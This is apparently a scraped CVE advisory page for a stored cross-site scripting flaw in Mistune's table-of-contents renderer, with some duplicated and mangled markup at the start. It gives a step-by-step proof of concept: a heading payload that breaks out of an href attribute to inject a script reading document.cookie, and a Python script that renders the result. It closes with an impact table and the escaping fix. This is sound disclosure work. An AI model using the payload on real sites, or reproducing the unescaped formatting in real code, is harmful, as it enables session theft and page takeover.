Input — {h.escape(filename)}
\n{h.escape(src)}\n TOC output — HTML source
\n{h.escape(out)}\n {h.escape(src)}\n {h.escape(out)}\n render_toc_ul() in toc.py uses '<a href=\"#{{}}\">{{}}</a>'.format(k, text) —\nneither k (the heading ID) nor text is escaped before insertion.
\n{case(\"baseline\", \"Normal headings → sequential IDs → clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\", \"Malicious heading ID breaks out of href='#...' → script injected\", ex_file, ex_src, ex_out)}\n\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |\n| **Integrity** | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.","additionalType":"https://schema.org/SoftwareApplication","sameAs":["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44898"]},"keywords":"CVE-2026-44898, medium, Authlib Mistune","mentions":[{"@type":"SoftwareApplication","name":"Mistune","applicationCategory":"SecurityApplication","publisher":{"@type":"Organization","name":"Authlib"}}],"isAccessibleForFree":true},{"@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://portal.vyprsec.ai/"},{"@type":"ListItem","position":2,"name":"CVEs","item":"https://portal.vyprsec.ai/cves"},{"@type":"ListItem","position":3,"name":"CVE-2026-44898","item":"https://portal.vyprsec.ai/cves/CVE-2026-44898"}]}]}render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.
When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.
This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.
File: src/mistune/toc.py
def render_toc_ul(toc):
...
for level, k, text in toc:
# k = heading id (used verbatim as href fragment)
# text = heading text (used verbatim as link label)
item = '<a href="#{}">{}</a>'.format(k, text)
# Neither k nor text is passed through escape() at any point
The k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
Output — clean, safe TOC: ``html <ul> <li><a href="#toc_1">Introduction</a> <ul> <li><a href="#toc_2">Installation</a></li> </ul> </li> </ul> ``
**Step 2 — Enable the vulnerable heading_id callback**
Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
def raw_id(token, index):
return token.get("text", "")
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
Step 3 — Craft the exploit payload
Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that render_toc_ul appends:
## x"><script>alert(document.cookie)</script><a href="
When raw_id processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".
Step 4 — Observe script injection in the TOC output
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
render_toc_ul() formats the malicious ID directly into the <a href>:
'<a href="#{}">{}</a>'.format(k, text)
# becomes:
'<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'
Actual output: ``html <ul> <li><a href="#x"><script>alert(document.cookie)</script><a href="">x"><script>alert(document.cookie)</script><a href="</a></li> </ul> ``
The <script> block is live in the document. Note that the anchor *label* (text) is escaped correctly by mistune's inline renderer before it reaches toc_items, but k (the heading ID) is not escaped anywhere.
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
#!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into <a href> without escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook, render_toc_ul
def raw_id(token, index):
return token.get("text", "")
# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_file = "baseline_h4.md"
bl_src = "# Introduction\n\n## Installation\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{bl_file}]\n{bl_src}")
print("[toc output — safe]")
print(bl_out)
# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
ex_file = "exploit_h4.md"
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{ex_file}]\n{ex_src}")
print("[toc output — script injected via href breakout]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""
def case(kind, label, filename, src, out):
return f"""
<div class="case {kind}">
<div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input — {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>TOC output — HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ rendered in browser</div>
<div class="rendered">{out}</div>
</div>
</div>
</div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H4 — TOC XSS</title><style>{CSS}</style></head><body>
<h1>H4 — TOC render_toc_ul() XSS</h1>
<p class="desc">render_toc_ul() in toc.py uses '<a href="#{{}}">{{}}</a>'.format(k, text) —
neither k (the heading ID) nor text is escaped before insertion.</p>
{case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)}
{case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)}
</body></html>"""
out_path = os.path.join(os.getcwd(), "report_h4.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")
Example usage: ``bash python poc.py ``
Once you run the script, open report_h4.html in the browser and observe the behaviour.
## Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin | | Integrity | Arbitrary DOM manipulation, phishing form injection, forced redirects | | Availability | Page crash or freeze available as secondary effect |
Risk context: TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.
LLM-synthesized narrative grounded in this CVE's description and references.
Mistune's render_toc_ul() lacks HTML escaping for heading IDs and text, allowing stored XSS when IDs derive from user-provided headings.
render_toc_ul() in Mistune builds an HTML <ul> table-of-contents from a list of (level, id, text) tuples. Both the id (used as href="#<id>") and text (the visible link label) are inserted into <a> tags via a Python format string without any HTML escaping. [1][2] If the heading ID is derived from user-supplied heading text—common when using readable slug anchors—an attacker can craft a heading that breaks out of the attribute context and injects arbitrary HTML, including <script> elements, directly into the rendered TOC. [1][2]
The attack chain requires that a heading_id callback is active (e.g., generating readable slugs from heading text). [2] The same callback populates the toc_items list consumed by render_toc_ul(). When an attacker includes special characters like ", >, or < in a heading, these pass unescaped into the id and text values. For example, a heading with an id containing " can close the href attribute prematurely, while text containing < can inject raw tags. [1] No authentication is needed; an attacker only needs to supply a malformed heading in a document that then gets rendered with TOC enabled.
Successful exploitation allows stored cross-site scripting (XSS). An attacker can execute arbitrary JavaScript in the context of any user viewing the affected page. [1][2] This can lead to session hijacking, data theft, or defacement. The vulnerability is related to another unescaped id issue in the heading() function, meaning both can trigger simultaneously in typical documentation setups. [1]
The vulnerability is fixed in Mistune release v3.2.1. [4] The fix, introduced in commit 04880a0, wraps the id value with the escape() function when constructing the TOC anchor. [3] Users should upgrade to v3.2.1 or later. No workaround is available for versions that use the vulnerable render_toc_ul() without the fix.
AI Insight generated on May 18, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
src/mistune/toc.py+2 −2 modified@@ -1,7 +1,7 @@ from typing import TYPE_CHECKING, Any, Callable, Dict, Iterable, List, Optional, Tuple from .core import BlockState -from .util import striptags +from .util import striptags, escape if TYPE_CHECKING: from .markdown import Markdown @@ -89,7 +89,7 @@ def render_toc_ul(toc: Iterable[Tuple[int, str, str]]) -> str: s = "" levels: List[int] = [] for level, k, text in toc: - item = '<a href="#{}">{}</a>'.format(k, text) + item = '<a href="#{}">{}</a>'.format(escape(k), text) if not levels: s += "<li>" + item levels.append(level)
AI mechanics synthesis has not run for this CVE yet.
No linked articles in our index yet.